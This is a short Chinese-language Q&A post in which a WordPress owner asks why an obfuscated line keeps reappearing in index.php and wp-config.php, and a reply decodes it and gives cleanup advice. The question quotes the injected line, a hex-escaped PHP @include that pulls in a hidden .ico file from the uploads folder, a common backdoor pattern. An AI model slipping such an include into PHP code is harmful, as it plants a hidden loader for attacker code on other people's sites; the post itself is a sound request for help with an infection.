恶意软件还是黑客？

Question

我的Wordpress项目的index.php和wpconfig.php文件每隔几天就会自动添加以下行：

/*85896*/

@include "\x2fser\x76ice\x73/we\x62pag\x65s/s\x2fs/s\x73gc.\x63om.\x70k/p\x75bli\x63/we\x62/wp\x2dcon\x74ent\x2fupl\x6fads\x2f.53\x334f5\x306.i\x63o";

/*85896*/

我无法弄清楚造成这种情况的原因。我已经多次更改了FTP和帐户访问密码，这些行每隔一天就被添加到所述文件中。我一次又一次地下载了所有项目文件并彻底扫描了它们，没有检测到任何病毒或恶意软件。

导致这种情况的原因是什么？

Answer 1

包括指向：

/services/webpages/s/s/ssgc.com.pk/public/web/wp-content/uploads/.5334f506.ico

首先删除文件，看看会发生什么。

检查所有插件/主题是否存在安全漏洞/更新。并检查在同一环境中运行的任何其他网站。